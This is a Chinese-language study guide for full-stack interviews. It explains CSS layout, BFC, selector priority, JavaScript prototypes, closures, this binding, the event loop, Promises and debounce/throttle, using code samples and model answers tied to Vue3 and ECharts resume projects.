第九阶段:前端全栈(从三件套到 Vue3 与可视化)— 讲解与面试题

第九阶段:前端全栈(从三件套到 Vue3 与可视化)— 讲解与面试题

本文档定位: 对应《简历技术栈学习指南》第九阶段。你的简历已定位为全栈开发工程师,前端部分写明:

  • 项目一(资产托管):Vue3 + TypeScript + Element Plus,多步骤表单、虚拟滚动、按钮级权限
  • 项目二(RAG 系统):Vue3 + TypeScript,SSE 打字机流式渲染、答案溯源
  • 项目三(零碳能源云):Vue3 + ECharts + WebSocket,监控大屏、交互式设备拓扑图
  • 技能清单第 10/11 条:HTML5/CSS3/ES6+、Vue3 组合式 API、Pinia、Axios、TypeScript、Element Plus、Vite、ECharts、SSE/WebSocket

⚠️ 面试现实: 面试官不会按前端工程师的标准考你,但既然写了“全栈”,前端就会被按全栈标准追问。核心考察三件事: ① 底层是否扎实(原型链、事件循环、闭包说得出原理,不是只会写 v-for) ② 能否讲清 Vue2/Vue3 差异(这是区分“用过 Vue”和“懂 Vue”的分水岭) ③ 可视化项目能否讲透(ECharts 拓扑图、大屏实时刷新、万级数据渲染——你简历里都是硬指标,必须能展开)

使用方法: 每个知识点按 小白讲解 → 名词详解(举例) → 结合简历案例 → 代码示例 → 面试题(含⭐评级) 组织。 优先级建议: 第四章(Vue2 vs Vue3)、第七章(ECharts)、第八章(拓扑图)、第十三章(SSE)是最高优先级——这四个是你简历写进去了、必被追问的。


📖 本文档名词速查(看到不认识的缩写,先查这里)

完整的白话解释、生活类比、面试话术见 00-名词速查手册.md。 下面只列本文档用到的名词,按出现频率排序。

缩写 / 术语 英文全称 一句话说明 出处
Vue3 Vue.js 3 渐进式前端框架 第12章
ECharts ECharts 百度开源的图表库,做大屏可视化 第12章
API Application Programming Interface 应用程序接口,别人能调用你的功能 第13章
SSE Server-Sent Events 服务端向浏览器单向持续推送(打字机效果的底层) 第11章
WebSocket WebSocket 浏览器和服务端双向持续通信 第11章
HTTP HyperText Transfer Protocol 超文本传输协议,Web 通信的基础 第13章
Vite Vite(法语“快”) 新一代前端构建工具,启动极快 第12章
JSON JavaScript Object Notation 轻量级数据交换格式({} 和 []) 第13章
Pinia Pinia Vue3 官方状态管理库(替代 Vuex) 第12章
XSS Cross-Site Scripting 跨站脚本:往页面里注入恶意 JS 偷用户信息 第10章
TypeScript TypeScript 带类型的 JavaScript,编译期能发现错误 第12章
CSRF Cross-Site Request Forgery 跨站请求伪造:骗你的浏览器发请求,冒充你操作 第10章
HTTPS HTTP Secure HTTP + TLS 加密 第13章
LLM Large Language Model 大语言模型,就是 ChatGPT 背后那个“大脑” 第11章
RAG Retrieval-Augmented Generation 检索增强生成:先查资料,再让 AI 基于资料回答 第11章
Element Plus Element Plus 基于 Vue3 的 UI 组件库 第12章
Webpack Webpack 老牌前端打包工具(Vite 出现前的主流) 第12章
JWT JSON Web Token 一种令牌格式,把用户信息加密后存客户端 第10章
Axios Axios 前端发 HTTP 请求的库 第12章
CDN Content Delivery Network 内容分发网络:把资源缓存到离用户最近的节点 第13章
CORS Cross-Origin Resource Sharing 跨域资源共享:浏览器的同源策略例外机制 第10章
TLS Transport Layer Security 传输层安全协议(SSL 的继任者) 第10章
TCP Transmission Control Protocol 传输控制协议:可靠、面向连接(会重传) 第13章
LRU Least Recently Used 淘汰最久没被用过的数据 第3章
DTO Data Transfer Object 数据传输对象,接口之间传数据用的 第6章
SPA Single Page Application 单页应用:整个网站只有一个 HTML,页面切换靠 JS 第12章
TTL Time To Live 数据的“保质期”,到期自动删除 第3章
CI Continuous Integration 持续集成:代码提交后自动构建、测试 第9章
Token Token(词元) AI 处理文本的最小单位(不是字,也不是词) 第11章
ACK ACKnowledgement 消费者处理完后的“确认回执” 第2章
💡 为什么要有这张表?

技术文档最大的阅读障碍不是原理难,而是缩写不认识 —— 看到“2PC 在数据库层加锁” 这句话,如果不知道 2PC 是什么,整段就废了。

这张表保证你在任何位置遇到不认识的词,都能当场查到,不用跳出文档。 想知道“为什么是这样”“面试怎么答”,再点进手册看完整版。


目录


第一章:前端三件套底层(HTML/CSS/JavaScript)

后端转全栈最容易露馅的地方:能写 Vue 模板,但说不清原型链和事件循环。这一章补齐地基。

1.1 前端知识体系「拓扑图」(先建立全局认知)

                        ┌─────────────────────────────────┐
                        │         前端知识体系             │
                        └───────────────┬─────────────────┘
                                        │
        ┌───────────────┬───────────────┼───────────────┬────────────────┐
        │               │               │               │                │
   ┌────▼────┐    ┌─────▼─────┐   ┌─────▼─────┐   ┌─────▼─────┐   ┌─────▼─────┐
   │  HTML   │    │    CSS    │   │JavaScript │   │  工程化    │   │  浏览器    │
   │  结构层  │    │   表现层   │   │  行为层    │   │  构建层    │   │  运行层    │
   └────┬────┘    └─────┬─────┘   └─────┬─────┘   └─────┬─────┘   └─────┬─────┘
        │               │               │               │                │
   语义化标签        盒模型/BFC      原型链/闭包      Vite/Webpack     渲染流水线
   DOM 树            Flex/Grid       事件循环        npm/pnpm         重排/重绘
   SEO 基础          选择器优先级     this 指向       ESLint/Prettier  缓存策略
   可访问性          响应式布局       Promise/async   环境变量         跨域/同源
                   动画/过渡         ES6+ 特性       打包优化          HTTPS
                                     DOM 操作
                                          │
                        ┌─────────────────┼─────────────────┐
                        │                 │                 │
                  ┌─────▼─────┐    ┌──────▼──────┐   ┌──────▼──────┐
                  │  TypeScript│   │   Vue3/React │   │  ECharts    │
                  │  类型层     │   │   框架层      │   │  可视化层    │
                  └───────────┘    └─────────────┘   └────────────┘
                                          │                 │
                                   组件/路由/状态       图表/拓扑图/大屏
                                   Pinia/Vue Router     Canvas/SVG 渲染

面试怎么用这张图: 被问“你前端知识结构是怎样的”或“你觉得前端核心要掌握什么”,可以按这个五层结构回答,体现体系化,而不是零散知识点。


1.2 HTML:盒模型与 BFC

小白讲解

盒模型(Box Model):浏览器把每个 HTML 元素都看成一个“盒子”,从内到外四层:

┌─────────────────────────────────────────┐
│                 margin                  │  外边距:盒子与其他盒子的距离(透明)
│  ┌───────────────────────────────────┐  │
│  │            border                 │  │  边框
│  │  ┌─────────────────────────────┐  │  │
│  │  │          padding            │  │  │  内边距:内容与边框的距离
│  │  │  ┌───────────────────────┐  │  │  │
│  │  │  │       content         │  │  │  │  内容:文字/图片(width/height 指这里)
│  │  │  │   200 × 100           │  │  │  │
│  │  │  └───────────────────────┘  │  │  │
│  │  └─────────────────────────────┘  │  │
│  └───────────────────────────────────┘  │
└─────────────────────────────────────────┘

关键考点:box-sizing

/* 默认 content-box:width 只算 content,加 padding/border 会撑大盒子 */
.box-a {
  box-sizing: content-box;  /* 默认值 */
  width: 200px;
  padding: 20px;
  border: 5px solid;
  /* 实际占位宽度 = 200 + 20*2 + 5*2 = 250px ← 容易算错! */
}

/* border-box:width 包含 content + padding + border(更好算) */
.box-b {
  box-sizing: border-box;
  width: 200px;
  padding: 20px;
  border: 5px solid;
  /* 实际占位宽度 = 200px(content 被压缩成 150px)*/
}

/* 生产标配:全局设为 border-box,避免布局计算踩坑 */
* {
  box-sizing: border-box;
}

面试高频:标准盒模型 vs IE 盒模型

  • 标准(W3C):box-sizing: content-box,width = content 宽度
  • IE(怪异模式):box-sizing: border-box,width = content + padding + border

BFC(Block Formatting Context,块级格式化上下文)

小白讲解: BFC 是一块独立的渲染区域,区域内的布局不会影响外面。可以理解成“结界”——结界里的元素再怎么折腾也出不去。

BFC 解决三个经典问题:

<!-- 问题1:外边距塌陷(相邻元素的 margin 会合并,取大的那个) -->
<div style="margin-bottom: 30px">A</div>
<div style="margin-top: 20px">B</div>
<!-- 实际间距是 30px 不是 50px!因为 margin 合并了 -->

<!-- 解决:给其中一个套个 BFC 容器 -->
<div style="overflow: hidden">
  <div style="margin-bottom: 30px">A</div>
</div>
<div style="margin-top: 20px">B</div>
<!-- 现在间距 = 50px ✅ -->
<!-- 问题2:浮动导致父元素高度塌陷 -->
<div class="parent">
  <div class="child" style="float: left; height: 100px">浮动子元素</div>
</div>
<!-- parent 高度变成 0!因为浮动元素脱离文档流 -->

<!-- 解决:父元素触发 BFC -->
.parent {
  overflow: hidden;   /* 或 display: flow-root(更语义化) */
}
<!-- parent 现在能"包住"浮动子元素,高度 = 100px ✅ -->

触发 BFC 的常见方式(记住 4 个就够):

方式 说明
overflow: hidden / auto / scroll 最常用(副作用:可能裁剪内容/出现滚动条)
display: flow-root 专门用来触发 BFC,无副作用(推荐)
float: left / right 元素本身浮动
position: absolute / fixed 绝对定位

面试题 ⭐⭐⭐:什么是 BFC?有什么用?

答: BFC 是块级格式化上下文,是一块独立的渲染区域,内部布局不影响外部。主要解决三类问题:① 相邻元素外边距合并(塌陷);② 父元素因子元素浮动导致高度塌陷;③ 实现自适应两栏布局(左侧浮动,右侧触发 BFC 就不会被覆盖)。触发方式常用 overflow:hidden 或 display:flow-root。


1.3 CSS:布局与选择器优先级

Flex 布局(一维布局,最常用)

小白讲解: Flex 就是“弹性盒子”,给父容器加 display:flex,子元素就自动排成一行,还能自动分配剩余空间。

主轴(main axis)→→→→→→→→→→→→→→→→→→→→→
┌─────────────────────────────────────────────┐
│  ┌──────┐   ┌──────┐   ┌──────┐            │
│  │ item │   │ item │   │ item │            │
│  │  1   │   │  2   │   │  3   │            │
│  └──────┘   └──────┘   └──────┘            │
└─────────────────────────────────────────────┘
   ↑ 交叉轴(cross axis)

常用属性(记这 6 个能覆盖 90% 场景):
容器上:
  display: flex              开启弹性布局
  justify-content: center    主轴方向对齐(居中/两端对齐/平均分布)
  align-items: center        交叉轴方向对齐(垂直居中就靠它)
  flex-direction: column     改成纵向排列
子元素上:
  flex: 1                    占满剩余空间(自适应布局神器)
  flex-shrink: 0             不压缩(防止被挤扁)

实战:經典的上中下后台布局(你的 RAG 系统前端就是这个)

/* 页面:顶部导航 + 左侧菜单 + 右侧内容区,内容区自适应剩余高度 */
.layout {
  display: flex;
  flex-direction: column;
  height: 100vh;              /* 撑满视口 */
}
.layout-header {
  flex-shrink: 0;             /* 头部固定高度,不压缩 */
  height: 60px;
}
.layout-body {
  display: flex;
  flex: 1;                    /* 占满剩余空间 */
  overflow: hidden;
}
.layout-sidebar {
  flex-shrink: 0;
  width: 200px;
}
.layout-content {
  flex: 1;                    /* 内容区自适应 */
  overflow-y: auto;           /* 内容超出自己滚动,不影响整体 */
}

Grid 布局(二维布局,大屏用得多)

/* 你的零碳能源大屏:3×2 网格,每格放一个图表 */
.dashboard {
  display: grid;
  grid-template-columns: repeat(3, 1fr);   /* 3 列等宽 */
  grid-template-rows: repeat(2, 1fr);      /* 2 行等高 */
  gap: 16px;                                /* 格子间距 */
  height: 100vh;
}
/* 某个图表要跨 2 列 */
.dashboard .chart-wide {
  grid-column: span 2;
}

Flex vs Grid 选型:

场景 选择 理由
一维排列(导航栏、列表、表单行) Flex 简单直观,兼容性好
二维网格(大屏、卡片墙、复杂布局) Grid 行列同时控制,代码量少
你的 ECharts 大屏 Grid 图表格子是二维排布

选择器优先级(必考)

优先级从高到低:

!important            ∞(最高,能覆盖一切,慎用)
内联样式 style="..."   1000
#id                   100
.class / [attr] / :hover   10
标签 div / 伪元素 ::before  1
通配符 * / 继承           0

计算规则:不是十进制进位,是「比较各位数」。

/* 例子:计算优先级 */
#app .list li.active { }   /* (1个id, 2个class, 1个标签) → 0,1,2,1 */
.container ul li { }       /* (0个id, 1个class, 2个标签) → 0,0,1,2 */

/* 比较:先比 id 位 → 1 > 0,所以第一条胜出 */
/* 注意:10 个 class ≠ 1 个 id!0,0,10,0 < 0,1,0,0 */

面试题 ⭐⭐⭐:!important 和内联样式谁优先级高?

答: !important 最高。优先级顺序:!important > 内联 style > id > class > 标签 > 通配符 > 继承。但实际项目中绝对不要滥用 !important,它会破坏样式层级,后期维护困难。正确做法是提高选择器特异性(比如给元素加个 class)或调整样式表顺序。

垂直居中方案(手写题高频)

/* 方案1:Flex(最推荐,简洁) */
.parent { display: flex; align-items: center; justify-content: center; }

/* 方案2:Grid(最简洁,一行搞定) */
.parent { display: grid; place-items: center; }

/* 方案3:绝对定位 + transform(不知道宽高时用) */
.child {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);   /* 自身宽高的一半往回移 */
}

/* 方案4:绝对定位 + margin auto(知道宽高) */
.child {
  position: absolute;
  top: 0; bottom: 0; left: 0; right: 0;
  width: 200px; height: 100px;
  margin: auto;
}

1.4 JavaScript:数据类型与原型链

数据类型(8 种)

// 7 种原始类型(primitive)+ 1 种引用类型
let a = 1;              // number
let b = 'hello';        // string
let c = true;           // boolean
let d = undefined;      // undefined(声明未赋值)
let e = null;           // null(空对象指针)← typeof null === 'object' 是历史 bug!
let f = Symbol('id');   // symbol(ES6,唯一值)
let g = 100n;           // bigint(ES2020,大整数)

let h = { name: '张三' };  // object(引用类型:对象/数组/函数/Date/RegExp...)

面试坑 ⭐⭐⭐⭐:typeof null 为什么是 'object'?

答: 这是 JavaScript 早期的历史 bug。JS 初版中值以 32 位存储,低位 1-3 位表示类型标签,对象的标签是 000,而 null 表示空指针(全 0),所以被误判为 object。这个 bug 一直没修复(修复会破坏大量现有代码)。准确判断类型要用 Object.prototype.toString.call(null) → '[object Null]'。

类型判断方法对比:

typeof 'abc'                          // 'string' ✅ 适合判断原始类型
typeof null                           // 'object' ❌ 历史 bug
typeof []                             // 'object' ❌ 分不出数组
typeof function(){}                   // 'function' ✅

[] instanceof Array                   // true ✅ 但跨 iframe 会失效
Object.prototype.toString.call([])     // '[object Array]' ✅ 最准确
Object.prototype.toString.call(null)   // '[object Null]'
Object.prototype.toString.call(new Date()) // '[object Date]'

Array.isArray([])                     // true ✅ 判断数组最推荐

原型链(Prototype Chain)—— 必考

小白讲解: JS 没有“类”的继承(ES6 的 class 只是语法糖),对象之间的继承靠原型链——每个对象都有一个隐藏属性 __proto__ 指向它的“爸爸”(原型对象),爸爸还有爸爸,一直找到 null 为止,这条链就是原型链。

实例对象                构造函数              原型对象
┌──────────────┐      ┌──────────────┐    ┌──────────────────┐
│    stu       │      │   Student    │    │ Student.prototype│
│  __proto__ ──┼─────▶│  prototype ──┼───▶│  constructor ────┼──▶ Student
│              │      │              │    │  sayHi() 方法    │
└──────────────┘      └──────────────┘    └────────┬─────────┘
                                                   │ __proto__
                                                   ▼
                                          ┌──────────────────┐
                                          │ Object.prototype │
                                          │  toString()      │
                                          │  hasOwnProperty()│
                                          └────────┬─────────┘
                                                   │ __proto__
                                                   ▼
                                                 null(链的终点)
function Student(name) {
  this.name = name;                    // 实例属性
}
Student.prototype.sayHi = function() { // 原型方法(所有实例共享,省内存)
  console.log('我是' + this.name);
};

const stu = new Student('张三');
stu.sayHi();                           // 我是张三

// 查找过程:
// ① stu 自身有 sayHi 吗?没有
// ② 顺着 __proto__ 找 Student.prototype,有!调用
// ③ 如果还没有,继续找 Object.prototype
// ④ 再没有就是 undefined,报错

stu.__proto__ === Student.prototype             // true
Student.prototype.__proto__ === Object.prototype // true
Object.prototype.__proto__ === null             // true(终点)

三个易混概念:

概念 属于谁 含义
prototype(显式原型) 函数才有 函数的原型对象,new 出来的实例的 __proto__ 指向它
__proto__(隐式原型) 所有对象都有 指向创建它的构造函数的 prototype
constructor 原型对象上 指回构造函数本身

new 一个对象发生了什么(面试高频,要能背):

const stu = new Student('张三');
// 内部等价于:
// ① 创建一个空对象 {}
// ② 让这个空对象的 __proto__ 指向 Student.prototype(建立原型链)
// ③ 执行 Student 构造函数,把 this 指向这个新对象(所以 this.name = '张三')
// ④ 如果构造函数返回对象就用它,否则返回这个新对象

面试题 ⭐⭐⭐⭐⭐:说说原型链 / 手写 instanceof

// 手写 instanceof:沿着 __proto__ 链找,看能否找到右边函数的 prototype
function myInstanceof(obj, Constructor) {
  if (obj === null || typeof obj !== 'object') return false;  // 原始类型直接 false
  let proto = Object.getPrototypeOf(obj);       // 等价于 obj.__proto__
  const target = Constructor.prototype;
  while (proto) {                                // 一直往链上游走
    if (proto === target) return true;
    proto = Object.getPrototypeOf(proto);
  }
  return false;                                  // 走到 null 还没找到
}

myInstanceof([], Array)         // true
myInstanceof([], Object)        // true(数组的原型链上有 Object.prototype)
myInstanceof('abc', String)     // false(原始类型不是对象)

1.5 作用域、闭包与 this

闭包(Closure)—— 必考

小白讲解: 函数 A 内部定义了函数 B,B 用到了 A 的变量,那么即使 A 执行完了,这些变量也不会被回收——因为 B 还“抓着”它们。这个「函数 + 它捕获的外部变量」的组合就叫闭包。

function outer() {
  let count = 0;                    // outer 的局部变量
  return function inner() {         // inner 用到了 count → 形成闭包
    count++;
    console.log(count);
  };
}

const fn = outer();
fn();  // 1
fn();  // 2
fn();  // 3
// count 没被回收!因为 inner 函数还引用着它

闭包的本质: 函数执行时会创建作用域链,内部函数持有对外部作用域的引用,导致外部作用域无法被 GC 回收。

闭包的三个实际用途:

// ① 数据私有化(模拟 private,模块模式的基石)
function createCounter() {
  let count = 0;                     // 外部访问不到,只能通过方法操作
  return {
    increment: () => ++count,
    getCount: () => count
  };
}
const counter = createCounter();
counter.increment();
console.log(counter.getCount());     // 1
console.log(counter.count);          // undefined ← 真正的私有!

// ② 防抖节流(见 1.8 节,依赖闭包保存 timer)

// ③ 循环中正确保存索引(经典坑)
// ❌ 错误写法:var 没有块级作用域,3 个定时器共享同一个 i
for (var i = 0; i < 3; i++) {
  setTimeout(() => console.log(i), 100);   // 输出 3, 3, 3
}
// ✅ 正确写法1:用 let(块级作用域,每次循环都是新的 i)
for (let i = 0; i < 3; i++) {
  setTimeout(() => console.log(i), 100);   // 输出 0, 1, 2
}
// ✅ 正确写法2:IIFE 立即执行函数创建闭包(ES6 之前的写法)
for (var i = 0; i < 3; i++) {
  (function(j) {
    setTimeout(() => console.log(j), 100); // 输出 0, 1, 2
  })(i);
}

闭包缺点: 变量常驻内存,滥用会导致内存泄漏。解决:不用时把引用置为 null。

面试题 ⭐⭐⭐⭐:什么是闭包?有什么优缺点?

答: 闭包是函数与其捕获的外部变量的组合。当内部函数引用了外部函数的变量,且内部函数在外部被持有时,外部函数的作用域不会被销毁,形成闭包。 优点: ① 实现数据私有化;② 保存状态(防抖节流的基础);③ 实现模块化。 缺点: 变量常驻内存不释放,滥用导致内存泄漏。解决:不再使用时手动解除引用(fn = null)。


this 指向(必考,且常出代码输出题)

一句话规则:this 在函数调用时才确定,指向「调用者」。

// 场景1:普通函数调用 → this 指向全局(浏览器 window,Node globalThis)
function f1() { console.log(this); }
f1();                        // window(严格模式下是 undefined)

// 场景2:对象方法调用 → this 指向调用它的对象
const obj = {
  name: '张三',
  sayName() { console.log(this.name); }
};
obj.sayName();               // '张三'(this = obj)
const fn = obj.sayName;
fn();                        // undefined ← this 丢失!this = window,window.name 不存在

// 场景3:构造函数 → this 指向新创建的实例
function Person(name) { this.name = name; }
const p = new Person('李四');  // this = p

// 场景4:箭头函数 → 没有自己的 this,继承外层作用域的 this(定义时确定)
const obj2 = {
  name: '王五',
  sayLater() {
    setTimeout(() => {
      console.log(this.name);  // '王五' ← 箭头函数继承 sayLater 的 this
    }, 100);
    // 如果写成 function() { console.log(this.name) } → undefined(this = window)
  }
};

// 场景5:call/apply/bind → 显式指定 this
function greet(greeting) { console.log(greeting + ', ' + this.name); }
const person = { name: '赵六' };
greet.call(person, '你好');        // '你好, 赵六'(参数逐个传)
greet.apply(person, ['你好']);     // '你好, 赵六'(参数数组传)
const boundGreet = greet.bind(person);  // 返回新函数,this 永久绑定
boundGreet('你好');                // '你好, 赵六'

优先级: new > bind/call/apply > 对象方法 > 普通函数

面试题 ⭐⭐⭐⭐:手写 call / apply / bind

// 手写 call
Function.prototype.myCall = function(context, ...args) {
  context = context || window;          // 没传就指向 window
  const fnKey = Symbol('fn');           // 用 Symbol 避免覆盖原属性
  context[fnKey] = this;                // this 就是被调用的函数
  const result = context[fnKey](...args); // 通过对象方法调用,this 自然指向 context
  delete context[fnKey];                // 用完删掉,不留痕迹
  return result;
};

// 手写 apply(和 call 唯一区别:参数是数组)
Function.prototype.myApply = function(context, argsArr = []) {
  context = context || window;
  const fnKey = Symbol('fn');
  context[fnKey] = this;
  const result = context[fnKey](...argsArr);
  delete context[fnKey];
  return result;
};

// 手写 bind(返回函数,支持柯里化 + 可以作为构造函数)
Function.prototype.myBind = function(context, ...presetArgs) {
  const self = this;
  return function boundFn(...laterArgs) {
    // 如果用 new 调用 boundFn,this 应该指向新实例,而不是 context
    if (this instanceof boundFn) {
      return new self(...presetArgs, ...laterArgs);
    }
    return self.apply(context, [...presetArgs, ...laterArgs]);
  };
};

// 测试
const obj = { name: '张三' };
function say(age) { console.log(this.name + '今年' + age); }
say.myCall(obj, 18);        // 张三今年18

1.6 事件循环(Event Loop)—— 必考中的必考

小白讲解

JavaScript 是单线程的(一次只能干一件事)。那遇到 setTimeout、Ajax 这种耗时操作怎么办?答案是事件循环:

  • 同步任务:直接在主线程排队执行
  • 异步任务:不进主线程,进「任务队列」,等主线程空了再来取
        ┌─────────────────────────────────────────┐
        │           主线程(调用栈 Call Stack)      │
        │     同步代码一个个执行,执行完就出栈        │
        └──────────────────┬──────────────────────┘
                           │ 栈空了?
                           ▼
        ┌─────────────────────────────────────────┐
        │  ① 先清空【微任务队列】Microtask Queue    │
        │     Promise.then / async-await          │
        │     MutationObserver / queueMicrotask   │
        │     process.nextTick(Node 优先)        │
        │     ★ 必须全部清空,包括执行中新增的       │
        └──────────────────┬──────────────────────┘
                           │ 微任务清空了
                           ▼
        ┌─────────────────────────────────────────┐
        │  ② 取【宏任务队列】的一个任务执行          │
        │     setTimeout / setInterval            │
        │     DOM 事件 / Ajax 回调 / script 整体    │
        │     requestAnimationFrame               │
        │     ★ 每轮只取一个                       │
        └──────────────────┬──────────────────────┘
                           │
                           └──▶ 回到 ① 循环(这就是 Event Loop)

铁律:先同步 → 再清空所有微任务 → 执行一个宏任务 → 再清空所有微任务 → …

经典输出题(面试必考,要能说出过程)

console.log('1');                       // 同步

setTimeout(() => console.log('2'), 0);  // 宏任务,进宏队列

new Promise(resolve => {
  console.log('3');                     // 同步!Promise 构造函数里是立即执行
  resolve();
}).then(() => console.log('4'));        // 微任务,进微队列

console.log('5');                       // 同步

// 输出顺序:1 → 3 → 5 → 4 → 2
// 过程拆解:
// 同步阶段:打印 1,注册 setTimeout(宏),打印 3(Promise 构造),注册 then(微),打印 5
// 同步结束 → 清空微任务 → 打印 4
// 微任务清空 → 取一个宏任务 → 打印 2

进阶题(考察是否真的理解)

async function async1() {
  console.log('A');
  await async2();          // await 后面的代码相当于放进 .then() → 微任务
  console.log('B');        // 这行要等 async2 完成后,作为微任务执行
}
async function async2() {
  console.log('C');
}

console.log('D');
setTimeout(() => console.log('E'), 0);
async1();
new Promise(resolve => {
  console.log('F');
  resolve();
}).then(() => console.log('G'));
console.log('H');

// 输出:D → A → C → F → H → B → G → E
// 拆解:
// 同步:D(第一行)、调用 async1 → A、async1 内调用 async2 → C、await 挂起(B 进微队列)
//       继续同步:Promise 构造 → F、then 注册(G 进微队列)、H
// 同步结束,清空微任务队列(按顺序):B(先入队)、G
// 微任务清空,取宏任务:E

面试题 ⭐⭐⭐⭐⭐:说说事件循环机制

答: JS 是单线程的,通过事件循环实现异步。执行顺序是:① 先执行所有同步代码(调用栈);② 同步执行完,清空微任务队列(Promise.then、async/await、queueMicrotask 等),注意执行微任务过程中新产生的微任务也会在本轮一并清空;③ 微任务清空后,从宏任务队列取一个任务执行(setTimeout、DOM 事件、Ajax 回调等);④ 然后重复②③。 关键点:微任务优先级高于宏任务,且每轮循环只执行一个宏任务但要清空所有微任务。


1.7 Promise 与 async/await

Promise 三种状态

        pending(进行中)
         ╱          ╲
   resolve        reject
       ╱              ╲
fulfilled          rejected
(已成功)          (已失败)
  ↓                   ↓
.then()           .catch()
★ 状态一旦改变就不可逆(pending → fulfilled 后不能再变回 pending)
const p = new Promise((resolve, reject) => {
  // 构造函数里的代码是同步立即执行的
  setTimeout(() => {
    const success = Math.random() > 0.5;
    success ? resolve('成功数据') : reject(new Error('失败了'));
  }, 1000);
});

p.then(data => console.log(data))       // 成功回调
 .catch(err => console.error(err))      // 失败回调(链式调用,推荐)
 .finally(() => console.log('无论成败都执行'));

Promise 的链式调用(解决回调地狱):

// ❌ 回调地狱(Callback Hell)——层层嵌套,难以维护
getUser(userId, user => {
  getOrders(user.id, orders => {
    getOrderDetail(orders[0].id, detail => {
      console.log(detail);
    });
  });
});

// ✅ Promise 链式调用
getUser(userId)
  .then(user => getOrders(user.id))
  .then(orders => getOrderDetail(orders[0].id))
  .then(detail => console.log(detail))
  .catch(err => console.error(err));    // 一个 catch 捕获整条链的错误

// ✅✅ async/await(最优雅,看起来像同步代码)
async function loadDetail(userId) {
  try {
    const user = await getUser(userId);
    const orders = await getOrders(user.id);
    const detail = await getOrderDetail(orders[0].id);
    console.log(detail);
  } catch (err) {                        // try-catch 统一捕获
    console.error(err);
  }
}

Promise 静态方法(面试常问区别):

// Promise.all:全部成功才成功,一个失败就整体失败(快速失败)
Promise.all([p1, p2, p3])
  .then(results => console.log(results))   // [r1, r2, r3] 顺序与输入一致
  .catch(err => console.error(err));       // 任一失败立即 reject

// Promise.allSettled(ES2020):不管成败都等全部结束,返回每个的状态
Promise.allSettled([p1, p2, p3])
  .then(results => {
    // [{status:'fulfilled', value}, {status:'rejected', reason}, ...]
    // 适合"批量操作,允许部分失败"的场景
  });

// Promise.race:谁先完成(成功或失败)就用谁的结果
Promise.race([p1, p2])
  .then(first => console.log(first));
// 经典用法:接口超时控制
const timeout = new Promise((_, reject) =>
  setTimeout(() => reject(new Error('请求超时')), 5000));
Promise.race([fetchData(), timeout]);

// Promise.any(ES2021):第一个成功的(全失败才 reject)
Promise.any([p1, p2]).then(first => console.log(first));

你的 RAG 项目举例: 文档批量上传后要并行轮询解析状态,用 Promise.allSettled——允许部分文档解析失败,只要不整体中断:

// 轮询所有文档的解析状态,允许部分失败
async function pollParseStatus(docIds) {
  const tasks = docIds.map(id =>
    fetch(`/api/documents/${id}/status`).then(r => r.json())
  );
  const results = await Promise.allSettled(tasks);
  const failed = results
    .filter(r => r.status === 'rejected')
    .map((_, i) => docIds[i]);
  if (failed.length) {
    ElMessage.warning(`${failed.length} 个文档解析失败,可重新上传`);
  }
  return results.filter(r => r.status === 'fulfilled').map(r => r.value);
}

面试题 ⭐⭐⭐⭐:Promise.all 和 Promise.race 的区别?各自的场景?

答: Promise.all 等所有 Promise 都成功才 resolve,返回结果数组(顺序与输入一致),任一失败立即 reject(快速失败)——适合“多个接口数据都必须要”的场景,比如页面初始化要同时拉用户信息和权限列表。 Promise.race 只取第一个完成的结果(无论成功失败)——适合“超时控制”和“多源取最快”场景,比如给接口加 5 秒超时,或者同时请求 CDN 和源站取快的那个。 补充:Promise.allSettled(ES2020)会等全部结束并返回每个的状态,不会因为单个失败中断,适合批量操作允许部分失败的场景(比如批量上传)。


1.8 防抖与节流(手写题高频)

区别(一句话记住)

  • 防抖(debounce):等你停下来才执行。像电梯——有人进来就重新等 10 秒。
  • 节流(throttle):固定频率执行。像地铁——不管多少人在等,5 分钟一班。
防抖(停止触发 delay 毫秒后才执行;期间又触发则重新计时):
事件:  ─┬─┬──┬───┬──────────────┬──┬─────────────▶
执行:                            ●(最后一次触发后 delay 才执行)

节流(每隔 interval 毫秒最多执行一次):
事件:  ─┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬──▶
执行:   ●     ●     ●     ●     ●     ●     ●
        └─────┴─────┴─────┘
         固定间隔 interval

代码实现(必须能手撕)

// 防抖:触发后 delay 毫秒内不再触发才执行;否则重新计时
function debounce(fn, delay = 300) {
  let timer = null;                      // 闭包保存定时器
  return function(...args) {
    clearTimeout(timer);                 // 每次触发都取消上一次
    timer = setTimeout(() => {
      fn.apply(this, args);              // 保留 this 和参数
    }, delay);
  };
}

// 使用:搜索框输入停止 500ms 后才发请求(避免每敲一个字就请求)
const search = debounce(function(keyword) {
  fetch(`/api/documents/search?keyword=${keyword}`);
}, 500);
inputEl.addEventListener('input', e => search(e.target.value));
// 节流(定时器版):每 interval 毫秒内只执行一次
function throttle(fn, interval = 300) {
  let timer = null;
  return function(...args) {
    if (timer) return;                   // 有定时器在,直接忽略
    timer = setTimeout(() => {
      fn.apply(this, args);
      timer = null;                      // 执行完清空,允许下一次
    }, interval);
  };
}

// 节流(时间戳版,更精确,首次立即执行)
function throttleByTimestamp(fn, interval = 300) {
  let lastTime = 0;
  return function(...args) {
    const now = Date.now();
    if (now - lastTime >= interval) {    // 距上次执行超过间隔
      fn.apply(this, args);
      lastTime = now;
    }
  };
}

// 使用:大屏数据刷新、滚动加载、按钮防重复点击
window.addEventListener('scroll', throttle(handleScroll, 200));

你的项目中的实际应用

// 场景1(防抖):RAG 系统搜索框联想,停止输入 500ms 才请求
const onSearchInput = debounce((keyword) => {
  if (!keyword.trim()) return;
  searchDocuments(keyword);
}, 500);

// 场景2(节流):能源大屏 WebSocket 高频推送,前端渲染限流
// 后端每秒推 10 次,但 ECharts 重绘很重,限制成每 500ms 更新一次图表
const updateChart = throttle((data) => {
  chart.setOption({ series: [{ data }] });
}, 500);
ws.onmessage = (e) => updateChart(JSON.parse(e.data));

// 场景3(节流):秒杀按钮防重复提交(你简历项目四写了"防重复提交")
const submitOrder = throttle(async (orderData) => {
  await axios.post('/api/orders', orderData);
}, 2000);   // 2 秒内只能提交一次

面试题 ⭐⭐⭐⭐⭐:手写防抖和节流,并说明应用场景

